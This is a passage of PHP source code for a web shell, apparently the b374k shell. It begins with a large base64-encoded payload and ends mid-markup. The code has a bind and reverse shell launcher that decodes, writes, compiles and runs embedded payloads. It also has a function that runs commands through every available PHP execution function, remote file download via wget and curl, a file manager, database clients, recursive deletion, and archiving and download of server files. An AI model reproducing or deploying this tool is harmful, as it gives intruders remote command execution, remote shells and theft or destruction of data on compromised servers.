"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"; // make link for folder $s_cwd and all of its parent folder function swd($s_p){ global $s_self; $s_ps = explode(DIRECTORY_SEPARATOR,$s_p); $s_pu = ""; for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){ $s_pz = ""; for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR; $s_pu .= "".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." "; } return trim($s_pu); } // htmlspecialchars, < > " function hss($s_t){ $s_n = array(">","<","\""); $s_y = array(">", "<", """); return str_replace($s_n,$s_y,$s_t); } // remove
tags function rp($s_t){ return trim(str_replace("
","",$s_t)); } // replace spaces with underscore ( _ ) function cs($s_t){ return str_replace(" ","_",$s_t); } // strip slashes,trim and urldecode function ss($s_t){ return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t))); } // only strip slashes function ssc($s_t){ return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t)); } // bind and reverse shell function rs($s_rstype,$s_rstarget,$s_rscode){ //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php $s_result = ""; $s_fpath = ""; $s_fc = gzinflate(base64_decode($s_rscode)); $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; $s_errgcc = "Unable to compile using gcc"; $s_split = explode("_",$s_rstype); $s_method = $s_split[0]; $s_lang = $s_split[1]; if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb"){ if($s_lang=="py") $s_runlang = "python"; elseif($s_lang=="pl") $s_runlang = "perl"; elseif($s_lang=="rb") $s_runlang = "ruby"; $s_fpath = "b374k_rs.".$s_lang; if(is_file($s_fpath)) unlink($s_fpath); if($s_file=fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="c"){ $s_fpath = "b374k_rs"; if(is_file($s_fpath)) unlink($s_fpath); if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); if($s_file=fopen($s_fpath.".c","w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath.".c")){ $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); if(is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe("./".$s_fpath." ".$s_rstarget); } else $s_result = $s_errgcc; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="win"){ $s_fpath = "b374k_rs.exe"; if(is_file($s_fpath)) unlink($s_fpath); if($s_file=fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath)){ $s_result = exe($s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="php"){ $s_result = eval("?>".$s_fc); } if(is_file($s_fpath)) unlink($s_fpath); if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); return $s_result; } // format bit function ts($s_s){ if($s_s<=0) return 0; $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); $s_e = floor(log($s_s)/log(1024)); return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); } // get file size function gs($s_f){ $s_s = @filesize($s_f); if($s_s !== false){ if($s_s<=0) return 0; return ts($s_s); } else return "???"; } // get file permissions function gp($s_f){ if($s_m=@fileperms($s_f)){ $s_p = 'u'; if(($s_m & 0xC000) == 0xC000)$s_p = 's'; elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; $s_p .= ($s_m & 00400) ? 'r' : '-'; $s_p .= ($s_m & 00200) ? 'w' : '-'; $s_p .= ($s_m & 00100) ? 'x' : '-'; $s_p .= ($s_m & 00040) ? 'r' : '-'; $s_p .= ($s_m & 00020) ? 'w' : '-'; $s_p .= ($s_m & 00010) ? 'x' : '-'; $s_p .= ($s_m & 00004) ? 'r' : '-'; $s_p .= ($s_m & 00002) ? 'w' : '-'; $s_p .= ($s_m & 00001) ? 'x' : '-'; return $s_p; } else return "???????????"; } // shell command function exe($s_c){ $s_out = ""; $s_c = $s_c." 2>&1"; if(is_callable('system')) { ob_start(); @system($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('shell_exec')){ $s_out = @shell_exec($s_c); if(!empty($s_out)) return $s_out; } if(is_callable('exec')) { @exec($s_c,$s_r); if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; if(!empty($s_out)) return $s_out; } if(is_callable('passthru')) { ob_start(); @passthru($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('proc_open')) { $s_descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); if (is_resource($s_proc)) { while ($s_si = fgets($s_pipes[1])) { if(!empty($s_si)) $s_out .= $s_si; } while ($s_se = fgets($s_pipes[2])) { if(!empty($s_se)) $s_out .= $s_se; } } @proc_close($s_proc); if(!empty($s_out)) return $s_out; } if(is_callable('popen')){ $s_f = @popen($s_c, 'r'); if($s_f){ while(!feof($s_f)){ $s_out .= fread($s_f, 2096); } pclose($s_f); } if(!empty($s_out)) return $s_out; } return ""; } // add slash to the end of given path function cp($s_p){ if(is_dir($s_p)){ $s_x = DIRECTORY_SEPARATOR; while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x); return $s_p.$s_x; } return $s_p; } // delete dir and all of its content (no warning !) xp function rmdirs($s_d){ $s_f = glob($s_d . '*', GLOB_MARK); foreach($s_f as $s_z){ if(is_dir($s_z)) rmdirs($s_z); else unlink($s_z); } if(is_dir($s_d)) rmdir($s_d); } // get array of all files from given directory function getallfiles($s_dir){ $s_f = glob($s_dir . '*'); for($s_i = 0; $s_i < count($s_f); $s_i++){ if(is_dir($s_f[$s_i])) { $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*'); $s_f = array_merge($s_f, $s_a); } } return $s_f; } // which command function xwhich($s_pr){ $s_p = exe("which $s_pr"); if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); } } // download file from internet function dlfile($s_u,$s_p){ $s_n = basename($s_u); // try using php functions if($s_t = @file_get_contents($s_u)){ if(is_file($s_p)) unlink($s_p);; if($s_f=fopen($s_p,"w")){ fwrite($s_f,$s_t); fclose($s_f); if(is_file($s_p)) return true; } } // using wget exe(xwhich('wget')." ".$s_u." -O ".$s_p); if(is_file($s_p)) return true; // try using lwp-download exe(xwhich('lwp-download')." ".$s_u." ".$s_p); if(is_file($s_p)) return true; // try using lynx exe(xwhich('lynx')." -source ".$s_u." > ".$s_p); if(is_file($s_p)) return true; // try using curl exe(xwhich('curl')." ".$s_u." -o ".$s_p); if(is_file($s_p)) return true; return false; } // find writable dir function get_writabledir(){ if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR; else{ if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){ if(is_writable("/tmp")) $s_d = "/tmp/"; else $s_d = getcwd().DIRECTORY_SEPARATOR; } } return $s_d; } // zip function function zip($s_src, $s_dest){ if(!extension_loaded('zip') || !file_exists($s_src)) return false; if(class_exists("ZipArchive")){ $s_zip = new ZipArchive(); if(!$s_zip->open($s_dest, 1)) return false; $s_src = str_replace('\\', '/', $s_src); if(is_dir($s_src)){ $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); foreach($s_files as $s_file){ $s_file = str_replace('\\', '/', $s_file); if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; if (is_dir($s_file) === true) $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/')); else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file)); } } elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); $s_zip->close(); return true; } } // check shell permission to access program function check_access($s_lang){ $s_s = 0; switch($s_lang){ case "python": $s_cek = strtolower(exe("python -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "perl": $s_cek = strtolower(exe("perl -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "tar": $s_cek = strtolower(exe("tar --help")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "java": $s_cek = strtolower(exe("javac --help")); if(strpos($s_cek,"usage")!==false){ $s_cek = strtolower(exe("java -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; } break; } return $s_s; } // find available archiver function get_archiver_available(){ global $s_self, $s_tar; $s_dlfile = ""; $s_avail_arc = array("raw" => "raw"); if(class_exists("ZipArchive")){ $s_avail_arc["ziparchive"] = "zip"; } if($s_tar){ $s_avail_arc["tar"] = "tar"; $s_avail_arc["targz"] = "tar.gz"; } $s_option_arc = ""; foreach($s_avail_arc as $s_t => $s_u){ $s_option_arc .= ""; } $s_dlfile .= "
"; return $s_dlfile; } // explorer, return a table of given dir function showdir($s_cwd){ global $s_self; $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; $s_fname = array(); $s_dname = array(); if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){ foreach($s_dh as $s_file){ if(is_dir($s_file)) $s_dname[] = $s_file; elseif(is_file($s_file)) $s_fname[] = $s_file; } } else{ if($s_dh = @opendir($s_cwd)){ while($s_file = readdir($s_dh)){ if(is_dir($s_file)) $s_dname[] = $s_file; elseif(is_file($s_file))$s_fname[] = $s_file; } closedir($s_dh); } } sort($s_fname); sort($s_dname); $s_list = array_merge($s_dname,$s_fname); if($s_win){ //check if this root directory chdir(".."); if(cp(getcwd())==cp($s_cwd)){ array_unshift($s_list, "."); } chdir($s_cwd); } $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR; else $s_parent = $s_cwd; $s_owner_html = (!$s_win && $s_posix) ? "owner:group" : ""; $s_colspan = (!$s_win && $s_posix) ? "6" : "5"; $s_buff = " ".$s_owner_html." "; $s_arc = get_archiver_available(); foreach($s_list as $s_l){ if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'].":".$s_group['name']; $s_owner_html = ""; } $s_lhref = ""; $s_lname = ""; $s_laction = ""; if(is_dir($s_l)){ if($s_l=="."){ $s_lhref = $s_self."cd=".$s_cwd; $s_lsize = "LINK"; $s_laction = " find | upl | +file | +dir
"; } elseif($s_l==".."){ $s_lhref = $s_self."cd=".$s_parent; $s_lsize = "LINK"; $s_laction = " find | upl | +file | +dir
"; } else{ $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR; $s_lsize = "DIR"; $s_laction = " find | upl | ren | del
"; } $s_lname = "[ ".$s_l." ]"; $s_lsizetit = "0"; } else{ $s_lhref = $s_self."view=".$s_l; $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_laction = "
edit | hex | ren | del "; } if(($s_l!='.')&&($s_l!='..')){ $s_cboxes = " "; } else $s_cboxes = "~"; $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); $s_buff .= " ".$s_owner_html." "; } $s_buff .= "
namesizepermsmodifiedactiondownload
".$s_owner."
".$s_cboxes." ".$s_lname." ".$s_lsize."".gp($s_l)." ".@date("d-M-Y H:i:s",filemtime($s_l))." ".$s_laction." ".$s_ldl."
"; return $s_buff; } //database related functions function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass); elseif(function_exists('sqlsrv_connect')){ $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); return @sqlsrv_connect($s_sqlhost,$s_coninfo); } } elseif($s_sqltype == 'pgsql'){ $s_hosts = explode(":", $s_sqlhost); if(count($s_hosts)==2){ $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; } else $s_host_str = "host=".$s_sqlhost; if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); } elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);} elseif($s_sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); else return false; } elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} elseif($s_sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass); else return false; } } function sql_query($s_sqltype, $s_query, $s_con){ if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_query')) return mssql_query($s_query); elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);} elseif($s_sqltype == 'oracle'){ if(function_exists('oci_parse') && function_exists('oci_execute')){ $s_st = oci_parse($s_con, $s_query); oci_execute($s_st); return $s_st; } } elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);} } function sql_num_fields($s_sqltype, $s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();} } function sql_field_name($s_sqltype,$s_hasil,$s_i){ if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); elseif(function_exists('sqlsrv_field_metadata')){ $s_metadata = sqlsrv_field_metadata($s_hasil); if(is_array($s_metadata)){ $s_metadata=$s_metadata[$s_i]; } if(is_array($s_metadata)) return $s_metadata['Name']; } } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);} elseif($s_sqltype == 'pdo'){ if(class_exists('PDO')){ $s_res = $s_hasil->getColumnMeta($s_i); return $s_res['name']; } } } function sql_fetch_data($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);} } function sql_num_rows($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);} elseif($s_sqltype == 'sqlite3'){ if(class_exists('SQLite3')){ $s_metadata = $s_hasil->fetchArray(); if(is_array($s_metadata)) return $s_metadata['count']; } } elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();} } function sql_close($s_sqltype,$s_con){ if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_close')) return mssql_close($s_con); elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;} } if(!function_exists('str_split')){ function str_split($s_t,$s_s=1){ $s_a = array(); for($s_i=0;$s_i[ "; if ($s_letter.":" != $s_v) {$s_letters .= $s_letter;} else {$s_letters .= "".$s_letter."";} $s_letters .= " ] "; } } } // prompt style.. $s_prompt = $s_user." >"; // check for posix $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; // server ip $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); // your ip ;-) $s_my_ip = $_SERVER['REMOTE_ADDR']; $s_result = ""; global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar; // check python if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];} else{ $s_python = check_access("python"); setcookie("s_python", $s_python ,time() + $s_login_time); } $s_python = ($s_python=="1")?true:false; // check perl if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];} else{ $s_perl = check_access("perl"); setcookie("s_perl", $s_perl ,time() + $s_login_time); } $s_perl = ($s_perl=="1")?true:false; // check ruby if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];} else{ $s_ruby = check_access("ruby"); setcookie("s_ruby", $s_ruby ,time() + $s_login_time); } $s_ruby = ($s_ruby=="1")?true:false; // check gcc if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];} else{ $s_gcc = check_access("gcc"); setcookie("s_gcc", $s_gcc ,time() + $s_login_time); } $s_gcc = ($s_gcc=="1")?true:false; // check java if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];} else{ $s_java = check_access("java"); setcookie("s_java", $s_java ,time() + $s_login_time); } $s_java = ($s_java=="1")?true:false; // check tar if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];} else{ $s_tar = check_access("tar"); setcookie("s_tar", $s_tar ,time() + $s_login_time); } $s_tar = ($s_tar=="1")?true:false; if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ $s_dltype = ss($_REQUEST['dltype']); $s_dlpath = ss($_REQUEST['dlpath']); $s_dlname = basename($s_dlpath); if($s_dlpath==".") $s_dlname=basename($s_cwd); elseif($s_dlpath==".."){ chdir(".."); $s_dlname=basename(getcwd()); chdir($s_cwd); } $s_tmpdir = get_writabledir(); $s_dlarchive = $s_tmpdir.$s_dlname; $s_dlthis = ""; if($s_dltype=="ziparchive"){ $s_dlarchive .= ".zip"; if(zip($s_dlpath,$s_dlarchive)){ $s_dlthis = $s_dlarchive; } } elseif($s_dltype=="tar"){ $s_dlarchive .= ".tar"; $s_dlarchive = str_replace('\\', '/', $s_dlarchive); exe("tar cf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="targz"){ $s_dlarchive .= ".tar.gz"; $s_dlarchive = str_replace('\\', '/', $s_dlarchive); exe("tar czf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="raw"){ if(is_file($s_dlpath)) $s_dlthis = $s_dlpath; } if(is_file($s_dlthis)){ header("Content-Type: application/octet-stream"); header('Content-Transfer-Encoding: binary'); header("Content-length: ".@filesize($s_dlthis)); header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";"); $s_file = @fopen($s_dlthis,"rb"); while(!feof($s_file)){ print(@fread($s_file, 1024*8)); ob_flush(); flush(); } fclose($s_file); if($s_dltype!="raw"){ rename($s_dlthis,$s_dlthis."del"); unlink($s_dlthis."del"); } exit; } } // massact if(isset($_REQUEST['y'])){ $s_massact = $_COOKIE['massact']; $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); if(!empty($s_buffer)){ if($_REQUEST['y']=='delete'){ $s_result .= "

Delete ? Yes | No

"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='chmod'){ $s_result .= "
chmod ?
"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='touch'){ $s_result .= "
touch ?
"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){ $s_result .= "

Move here ? Yes | No

"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){ $s_result .= "

Copy here ? Yes | No

